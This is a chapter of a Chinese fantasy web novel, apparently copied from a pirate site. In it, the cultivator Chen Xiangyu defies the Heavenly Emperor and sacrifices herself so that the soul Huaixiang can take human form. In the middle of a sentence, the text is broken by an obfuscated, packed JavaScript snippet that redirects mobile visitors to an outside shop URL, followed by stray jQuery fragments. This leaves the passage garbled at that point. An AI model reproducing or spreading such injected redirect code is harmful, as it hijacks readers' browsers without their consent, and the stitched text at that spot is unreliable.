被雷劈死的感觉不是很好,陈相毓不愿意再经历第二次。
有关她的一切无法留住,她思来想去,临死前将这一世足够飞升的修为存在一凡人魂魄上,送他上了天。
总不能散在世间被旁人捡了便宜。
她原想死遁出逃,却发现此番轮回无效,她仍不能自己掌控魂魄的去想,需得重来一世。
她有些厌烦的继续用起陈相毓的名字,上辈子太长,习惯了。
唯一不习惯的是,淮相不见了。
不会也被滚雷劈死了吧……
陈相毓没想太多,专注起提升修为。
那些藏着掖着不能明面示人的机缘被她‘误打误撞’收入囊中,光明正大供人观瞻的法宝被她以实力占为己有,为了飞升,她整日斩魔头收邪祟,提升修行积攒功德双线并行,期间处理些不长眼的贱人放松情绪,总算比上辈子更快的等到了飞升的雷劫。
看到铭须扭曲的面容,她友善一笑,敷衍行礼。
“小仙陈相毓,见过——天帝。”
天帝许久未言语,在她直起身子的前一刻,忽然道:“你这凡名不妥。”
也没说怎样不妥,扔下‘长凄’二字便走了。
铭须给她的下马威,是剥夺名姓。
这对一块不在乎尊严的石头来说,真是好可怕的惩罚。
—
亲自动手会受到未知的反噬,铭须不敢赌,他原想钻天道漏洞杀死天道造物,唯一没料到的是,陈相毓没有心,居然真的撑到了飞升。
石头怎么会被人的感情所负累呢?
天帝恐怕这辈子也想不到,自己会因为做过人而败下一筹。
那些铭须不屑观看又止不住好奇的原因,在他暗示属下欺辱陈相毓时被揭晓。
陈相毓藐视权力。
她不计后果,以自毁的方式鱼死网破。在人间,肉体凡胎的她会被权力无情碾碎,在天宫,日行千里的修为与天道守则便成了她的护身符。
铭须每次追责,折损的都是自己人。
在他以为要和她无尽的耗下去时,陈相毓在一次诛杀魔修时突兀的死了。
铭须没有看到她的魂魄,也没有找到她的转世,无水监与世隔绝,更不必担心她回到本体。
心头大患去世,铭须欣喜若狂,当即下令摆宴三日,原因……随便定了个庆贺第八万八千八百八十八位凡躯飞升。
可惜,飞升上来的是条撞大运吞噬机缘异变成龙的红鲤,有些晦气。
铭须皱眉,命人将伪龙从名册划去,随意找个由头关了起来,换上正统修士飞升的小辈充门面。
—
陈相毓看到无水监内‘茁壮’成长的淮相,竟然松了一口气。
“小相儿。”
含着风的三个字,立马唤醒装睡的淮相。
“阿——阿毓!”
陈相毓说不清心里是什么滋味,好像自己不情愿但也辛苦养大的小猫被别人抢走,非但没被好好对待,还一身伤的被她找回。
那小猫小心翼翼的将伤口藏进绒毛,对她挺起胸脯,“阿毓,我现在能照顾好自己,也绝不会给你添麻烦,可不可以不要再丢下我。”
陈相毓没想过丢下她,若是连个废物也养不起,她也不必在此挣扎了。
但她只说:“是你说的想要实体,怎么还怪起我来。”
“我没有怪你。”
许久不见,小猫没有那么黏人了。
她看向烧在淮相周围的火,心底泛起异样,“他们欺负你,是我替你宰了,还是你自己去报复?”
淮相说了她爱听的,“我要自己报复。”
“你想怎样报复呢?敌人太多,你现在的修为可经不起他们折腾。”
淮相依然说了她爱听的,“总有法子的,修为不够就从其他地方补,我就是死掉,也不要他们好过。”
不愧是她养的宠儿,真上道。
“你不会死。”
毕竟陈相毓试了那么多法子,也没将淮相弄死。
她没法对付的,铭须那自大的蠢货,更对不不得。
淮相晃了会儿叶子。
“阿毓,你现在安全了吗?”
“暂时。”
她细细思忖着,“至少被关起来这些日子是安全的。”
陈相毓为铭须留了些东西,也不知道他什么时候能发现。
淮相又问:“阿毓,他们为什么要将我关起来。”
“这躯壳原是我在用,他们以为这是我。”
她的声音弱下来,“原来我占的是你的身体。”
陈相毓下意识道:“你从前占得还少?”
“这不一样啊。”
淮相说:“从前我们是一起的,现在分开了,这个身体被我占着,你就不能用了。”
“别想那么多。”
陈相毓不再逗她,“这原本就是你的身体。”
淮相恍然,“原来阿毓经常骂的愚木是我。”
陈相毓:“……”
“既然他们将我当做了你,要不……”
要不将淮相当做靶子,为她多争取些时间?
这是个利她的法子,她却不太想用。
“住嘴。”
陈相毓打断她,“你这么愚钝,哪里像我?”
“我瞧他们也不聪明,还没有凡间针对你那些坏人聪明,我装一装,万一他们信了呢?”
“哪里都有蠢货,不能一概而论。”
“可你这样说,就是把我和他们论到一处了。”
小猫还是有点脑子的。
“好吧。”
帮不上阿毓,淮相有些失落,见陈相毓不回答,她换了个请求,“阿毓可以教我化形吗?我不会……”
陈相毓无语复又言:“我以为你开窍了,也学会按兵不动了,原来是这样。”
如果淮相有双手,她一定会挠挠头,“现在学会也不晚嘛。”
“算了,先学化形。”
那池火晃的陈相毓眼睛疼。
一个时辰后,陈相毓:……
两个时辰后,陈相毓:……?
……
三天后,陈相毓忍无可忍,“悟性高的妖修为到了自动化形,悟性低的被前辈带几遍也能学会,你自己说,教过几百遍也学不会的算什么?”
淮相小声道:“阿毓怎么变得迂回了,你以前会直接骂我是蠢货的。”
陈相毓:“你关注的东西怎么和别人不一样呢?”
“所以我在阿毓眼里,是和别人不一样的。”
不一样吗?
是有一些的。
陈相毓闭上嘴,用禁术将淮相的魂魄仔细检查一番,得出个令人不满的结果,“原来你连个正经魂魄也算不上,怪不得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625844|206042||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
无法化形。”
怪不得那帮老东西查也不查的将她丢在这里。
陈相毓转移自己的魂魄时,借助过的亡魂会留下携带她魂魄的亡魂碎片,这些碎片留在她身上,被她的魂魄供养,逐渐融为一体,生出了智慧。
在此之前,她以为淮相是那愚钝槐树的魂魄,现在看来,淮相的确算得上她的……孩子。
“好可惜。”
不能化形,淮相只能做个累赘,可她不想拖累阿毓。
“你先晚点可惜。”会有办法的,她一块石头都能借那愚木化形,淮相还不是石头呢。
陈相毓弯下腰,将手触向刺目的火池。
“很痛的,阿毓。”
痛吗?能感觉到痛,是不是说明,她也有一点被那棵愚木接纳了呢?
还是说,她只是因为带着她的气息,才没有被排斥?
“你将魂体变成我的原本的模样试试。”
“阿毓……”
淮相声音艰涩,“你从来不照镜子的。”
陈相毓痛苦抚面。
她用引魂术将淮相的魂魄短暂的引出槐树之外,惊讶的发现,淮相的外表与自己一模一样。
除了那双不谙世事的眼睛。
“你这不是变得挺好的?”
“我没变啊阿毓,你忘了吗?我什么法术也不会。”
那便是原本如此。
淮相被认作她魂魄的一部分,魂魄可以分散,却只能有一个主体。
附庸是没有化形的资格的。
愚木分不清这些,但天道可以。
良久后,她问:“如果代价是忘记一切从头来过,你还要继续化形吗?”
“这算什么代价?”
淮相想也不想的说,“阿毓记得就好了,你可以一点一点重新告诉我。”
“我不会告诉你。”
陈相毓残忍道:“成功了你会忘记一切,失败了你会死,想清楚再告诉我答案。”
淮相是被堆砌出的生灵,那些亡魂早已转世,她没有实体无处可去,又沾染着旁人的气息被认作附庸,若要化形,首先要成为她自己。
这并不容易。
淮相并没有想太久,“哪怕是死了,也比被困在这里好吧。”
她的孩子连死也不怕,做母亲的怎么能袖手旁观呢?
—
陈相毓没有按商议改变淮相的魂魄,她动了自己的。
她没法保证淮相能活下来,却能保证自己是活的。
她的孩子在哭,明明没有眼泪,她就是觉得,淮相在哭。
她说:“我觉得你的提议不错,我的确需要一个替身。”
淮相忽然懂了什么是口是心非。
她明明不想做谁的负担,怎么到头来,还是成了累赘。
“你在哭什么呢?”
陈相毓的声音因为伤痛而和缓,给人以温柔的错觉,“被利用还能哭成这样,一点也不像我。”
“你要像我,做替身要有做替身的觉悟。”
可是阿毓,你现在也不像你自己了。
陈相毓歇够了,一步步向赤色火池靠近。
“阿毓。”
淮相忽然说,“如果我以后能想起一切,你可以允许我叫你阿娘吗?”
陈相毓面无表情的将手浸入赤火,握住愚木的粗根,“有那一天再说吧。”